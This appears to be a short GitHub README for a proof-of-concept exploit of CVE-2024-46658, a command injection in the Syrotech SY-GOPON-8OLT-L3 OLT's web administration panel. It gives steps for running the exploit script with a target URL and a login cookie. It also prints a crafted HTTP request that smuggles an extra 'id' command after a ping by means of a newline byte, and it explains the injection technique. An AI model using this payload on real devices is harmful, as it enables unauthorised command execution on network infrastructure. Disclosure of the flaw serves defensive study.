jackalkarlos/cve-2024-46658Proof-of-concept exploit for a command injection vulnerability in Syrotech SY-GOPON-8OLT-L3, allowing arbitrary command execution via HTTP request manipulation.
Syrotech SY-GOPON-8OLT-L3 v1.6.0_240629 Command Injection Vulnerability
1- Edit the URL in the script.
2- Edit the Cookie_Login value in the script.
3- Run the script, it will allow you to executing commands.
GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1
Normally, only the ping command is allowed to be executed in the administration panel.
If you intercept the request with a proxy, add a new line byte to the end of the command parameter and type the command you want to run, it will allow you to run another command.
Mehmet Demir
